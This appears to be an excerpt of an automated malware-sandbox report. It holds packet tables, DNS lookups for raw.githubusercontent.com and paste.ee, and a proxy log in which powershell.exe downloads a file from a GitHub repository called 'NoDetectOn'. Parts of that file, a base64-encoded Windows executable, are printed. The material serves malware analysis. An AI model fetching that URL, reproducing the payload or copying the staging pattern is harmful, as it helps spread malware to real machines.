Sep 30, 2024 09:57:28.840833902 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.841056108 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.841114044 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.841120005 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.841164112 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.841928005 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.841988087 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.843215942 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.843281031 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.843686104 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.843735933 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.844568968 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.844623089 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.844667912 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.844716072 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.845180988 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.845221996 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.845238924 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.845246077 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.845263004 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.845505953 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.845561981 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.845568895 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.845613956 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.845885038 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.845937967 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.846982002 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.846998930 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.847057104 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.847064018 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.847954988 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.847975016 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.848010063 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.848015070 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.848037958 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.848910093 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.848926067 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.848978043 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.848984957 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.850541115 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.850558996 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.850614071 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.850621939 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.851099014 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.851113081 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.851154089 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.851161957 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.851186037 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.852423906 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.852442026 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.852479935 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.852487087 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.852494955 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.852516890 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.852550030 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.852554083 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.853454113 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.853468895 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.853517056 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.853522062 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854291916 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854312897 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854347944 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.854353905 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854378939 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.854441881 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854458094 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854489088 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.854495049 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.854517937 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.855601072 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.855655909 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.855660915 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.855753899 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.855767012 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.855823040 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.855828047 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.855973005 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.855992079 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856028080 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.856033087 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856045008 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856056929 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.856093884 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.856098890 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856555939 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856569052 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856606007 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.856611013 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856635094 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.856812954 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856827974 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856879950 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.856887102 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856965065 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.856980085 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.857012987 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.857017994 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.857028008 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.857588053 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.857603073 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.857657909 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.857662916 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.858764887 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.858782053 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.858839989 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.858844995 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.858926058 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.858941078 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.858988047 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.858994961 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859174967 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859189987 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859234095 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.859239101 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859405994 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859420061 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859468937 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.859476089 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859743118 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859761000 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859806061 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.859811068 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859904051 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859919071 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.859960079 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.859965086 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.860090017 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.860104084 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.860143900 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.860152006 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.860630989 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.860645056 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.860694885 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.860702991 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861181974 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861200094 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861238003 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.861243010 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861352921 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861368895 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861407995 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.861413002 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861443996 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.861671925 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861685991 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861736059 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.861737967 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861749887 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861778021 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861785889 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.861794949 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861834049 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.861974955 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.861989975 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862042904 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862047911 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862083912 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862291098 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862307072 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862359047 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862363100 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862382889 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862399101 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862400055 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862409115 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862428904 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862457991 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862529993 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862559080 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862585068 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862591028 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862606049 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862622023 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.862632990 CEST	443	49719	188.114.97.3	192.168.2.6
Sep 30, 2024 09:57:28.862674952 CEST	49719	443	192.168.2.6	188.114.97.3
Sep 30, 2024 09:57:28.863092899 CEST	49719	443	192.168.2.6	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 09:57:23.486383915 CEST	51044	53	192.168.2.6	1.1.1.1
Sep 30, 2024 09:57:23.493236065 CEST	53	51044	1.1.1.1	192.168.2.6
Sep 30, 2024 09:57:26.568079948 CEST	55953	53	192.168.2.6	1.1.1.1
Sep 30, 2024 09:57:26.575330973 CEST	53	55953	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 09:57:23.486383915 CEST	192.168.2.6	1.1.1.1	0x7f3e	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:57:26.568079948 CEST	192.168.2.6	1.1.1.1	0x89fe	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 09:57:23.493236065 CEST	1.1.1.1	192.168.2.6	0x7f3e	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:57:23.493236065 CEST	1.1.1.1	192.168.2.6	0x7f3e	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:57:23.493236065 CEST	1.1.1.1	192.168.2.6	0x7f3e	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:57:23.493236065 CEST	1.1.1.1	192.168.2.6	0x7f3e	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:57:26.575330973 CEST	1.1.1.1	192.168.2.6	0x89fe	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:57:26.575330973 CEST	1.1.1.1	192.168.2.6	0x89fe	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

paste.ee

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	185.199.110.133	443	4256	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:57:24 UTC	128	OUT	GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-30 07:57:24 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2935468 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "df9ff7aedbae4b4f50e2ae3a8f13fd0b84c66fbd35e7ac0df91a7a47b720c032" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: FB90:19087E:16A09A:1867DD:66FA517E Accept-Ranges: bytes Date: Mon, 30 Sep 2024 07:57:24 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740049-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1727683044.184232,VS0,VE62 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 424c4324c1478eb84a495ab9642191f9f289a533 Expires: Mon, 30 Sep 2024 08:02:24 GMT Source-Age: 0
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 41 4f 50 39 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 4a 41 68 41 41 41 47 41 41 41 41 41 41 41 41 33 71 38 68 41 41 41 67 41 41 41 41 77 43 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAOP9WYAAAAAAAAAAOAADiELATAAAJAhAAAGAAAAAAAA3q8hAAAgAAAAwCEAAABAAAAgAAAAAgA
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 41 41 42 67 41 41 41 44 67 41 41 41 41 41 4b 67 49 44 66 51 55 41 41 41 51 67 41 41 41 41 41 48 36 45 45 41 41 45 65 30 41 51 41 41 51 35 30 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 6a 48 2f 2f 2f 2f 41 45 59 6f 45 67 41 41 42 67 49 6f 43 51 41 41 42 69 67 42 41 41 41 4b 4b 67 41 41 45 7a 41 44 41 47 30 41 41 41 41 42 41 41 41 52 49 41 45 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 49 41 41 41 41 46 41 41 41 41 47 51 41 41 41 44 67 41 41 41 41 41 41 69 67 55 41 41 41 47 41 32 38 46 41 41 41 47 4b 42 55 41 41 41 59 71 46 69 6f 43 4b 42 4d 41 41 41 59 44 4b 42 4d 41 41 41 59 6f 41 67 41 41 43 6a 6e 6f 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 75 45 41 41 45 4f 72 44 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 70 66 2f 2f 2f Data Ascii: AABgAAADgAAAAAKgIDfQUAAAQgAAAAAH6EEAAEe0AQAAQ50v///yYgAAAAADjH////AEYoEgAABgIoCQAABigBAAAKKgAAEzADAG0AAAABAAARIAEAAAD+DgAAOAAAAAD+DAAARQIAAAAFAAAAGQAAADgAAAAAAigUAAAGA28FAAAGKBUAAAYqFioCKBMAAAYDKBMAAAYoAgAACjno////IAAAAAB+hBAABHsuEAAEOrD///8mIAAAAAA4pf///
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 49 41 45 41 41 41 41 34 6d 66 2f 2f 2f 77 49 4f 42 48 30 4a 41 41 41 45 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 74 61 45 41 41 45 4f 58 33 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 63 76 2f 2f 2f 7a 49 43 4b 42 6b 41 41 41 59 6f 4a 77 41 41 42 69 6f 41 41 41 41 54 4d 41 4d 41 6b 51 41 41 41 41 4d 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 42 41 41 41 41 41 59 41 41 41 41 46 41 41 41 41 4c 41 41 41 41 46 49 41 41 41 41 34 41 51 41 41 41 43 6f 52 41 53 67 6b 41 41 41 47 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 2f 45 41 41 45 4f 73 72 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 76 2f 2f 2f 2f 78 45 42 4f 64 4c 2f 2f 2f 38 67 41 41 41 41 41 48 36 45 45 41 41 45 65 33 77 51 41 41 51 36 70 50 2f 2f 2f 79 59 67 41 41 41 Data Ascii: IAEAAAA4mf///wIOBH0JAAAEIAAAAAB+hBAABHtaEAAEOX3///8mIAAAAAA4cv///zICKBkAAAYoJwAABioAAAATMAMAkQAAAAMAABEgAwAAAP4OAAA4AAAAAP4MAABFBAAAAAYAAAAFAAAALAAAAFIAAAA4AQAAACoRASgkAAAGIAAAAAB+hBAABHs/EAAEOsr///8mIAEAAAA4v////xEBOdL///8gAAAAAH6EEAAEe3wQAAQ6pP///yYgAAA
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 45 67 41 41 41 41 41 48 36 45 45 41 41 45 65 79 49 51 41 41 51 36 53 66 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 2b 2f 2f 2f 2f 45 51 51 6f 4f 51 41 41 42 6a 72 4d 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 74 6d 45 41 41 45 4f 68 37 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 45 2f 2f 2f 2f 39 33 45 2f 76 2f 2f 45 51 51 36 58 51 41 41 41 43 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 69 68 41 41 42 44 6b 50 41 41 41 41 4a 69 41 41 41 41 41 41 4f 41 51 41 41 41 44 2b 44 41 55 41 52 51 4d 41 41 41 41 46 41 41 41 41 4b 51 41 41 41 44 6f 41 41 41 41 34 41 41 41 41 41 44 67 77 41 41 41 41 49 41 45 41 41 41 42 2b 68 42 41 41 42 48 73 6f 45 41 41 45 4f 74 48 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 78 76 2f 2f 2f 78 45 45 4b 44 6f 41 41 41 59 67 41 67 41 41 41 Data Ascii: EgAAAAAH6EEAAEeyIQAAQ6Sf///yYgBAAAADg+////EQQoOQAABjrM////IAAAAAB+hBAABHtmEAAEOh7///8mIAAAAAA4E////93E/v//EQQ6XQAAACAAAAAAfoQQAAR7ihAABDkPAAAAJiAAAAAAOAQAAAD+DAUARQMAAAAFAAAAKQAAADoAAAA4AAAAADgwAAAAIAEAAAB+hBAABHsoEAAEOtH///8mIAEAAAA4xv///xEEKDoAAAYgAgAAA
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 4f 4a 50 2f 2f 2f 38 43 46 48 30 51 41 41 41 45 49 41 55 41 41 41 41 34 67 76 2f 2f 2f 77 4a 37 45 41 41 41 42 43 67 45 41 41 41 72 49 41 45 41 41 41 42 2b 68 42 41 41 42 48 74 63 45 41 41 45 4f 6d 50 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 57 50 2f 2f 2f 79 6f 71 41 6e 73 50 41 41 41 45 4b 41 55 41 41 43 73 67 41 41 41 41 41 48 36 45 45 41 41 45 65 78 6b 51 41 41 51 35 4e 2f 2f 2f 2f 79 59 67 41 41 41 41 41 44 67 73 2f 2f 2f 2f 41 41 41 6d 66 68 45 41 41 41 51 55 2f 67 45 71 41 41 41 61 66 68 45 41 41 41 51 71 41 43 72 2b 43 51 41 41 62 77 30 41 41 41 6f 71 41 43 72 2b 43 51 41 41 62 77 63 41 41 41 6f 71 41 43 72 2b 43 51 41 41 62 31 30 41 41 41 59 71 41 44 34 41 2f 67 6b 41 41 50 34 4a 41 51 41 6f 62 77 41 41 42 69 6f 36 2f 67 6b 41 41 50 34 4a 41 51 42 Data Ascii: OJP///8CFH0QAAAEIAUAAAA4gv///wJ7EAAABCgEAAArIAEAAAB+hBAABHtcEAAEOmP///8mIAEAAAA4WP///yoqAnsPAAAEKAUAACsgAAAAAH6EEAAEexkQAAQ5N////yYgAAAAADgs////AAAmfhEAAAQU/gEqAAAafhEAAAQqACr+CQAAbw0AAAoqACr+CQAAbwcAAAoqACr+CQAAb10AAAYqAD4A/gkAAP4JAQAobwAABio6/gkAAP4JAQB
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 67 41 41 41 5a 7a 45 41 41 41 43 6e 4d 52 41 41 41 4b 66 52 41 41 41 41 51 67 41 67 41 41 41 48 36 45 45 41 41 45 65 32 34 51 41 41 51 35 41 50 37 2f 2f 79 59 67 48 51 41 41 41 44 6a 31 2f 66 2f 2f 41 78 38 51 4b 4e 45 43 41 41 59 35 4a 41 49 41 41 43 41 4f 41 41 41 41 66 6f 51 51 41 41 52 37 4a 68 41 41 42 44 6e 55 2f 66 2f 2f 4a 69 41 44 41 41 41 41 4f 4d 6e 39 2f 2f 38 43 65 78 59 41 41 41 51 52 42 68 45 48 49 50 2f 2f 2f 33 39 66 63 31 67 41 41 41 5a 76 45 67 41 41 43 69 41 52 41 41 41 41 66 6f 51 51 41 41 52 37 55 78 41 41 42 44 71 62 2f 66 2f 2f 4a 69 41 61 41 41 41 41 4f 4a 44 39 2f 2f 38 43 63 78 4d 41 41 41 70 39 46 67 41 41 42 43 41 48 41 41 41 41 4f 48 76 39 2f 2f 38 52 42 79 41 41 41 41 43 41 58 7a 6c 4a 41 51 41 41 49 41 55 41 41 41 41 34 5a Data Ascii: gAAAZzEAAACnMRAAAKfRAAAAQgAgAAAH6EEAAEe24QAAQ5AP7//yYgHQAAADj1/f//Ax8QKNECAAY5JAIAACAOAAAAfoQQAAR7JhAABDnU/f//JiADAAAAOMn9//8CexYAAAQRBhEHIP///39fc1gAAAZvEgAACiARAAAAfoQQAAR7UxAABDqb/f//JiAaAAAAOJD9//8CcxMAAAp9FgAABCAHAAAAOHv9//8RByAAAACAXzlJAQAAIAUAAAA4Z
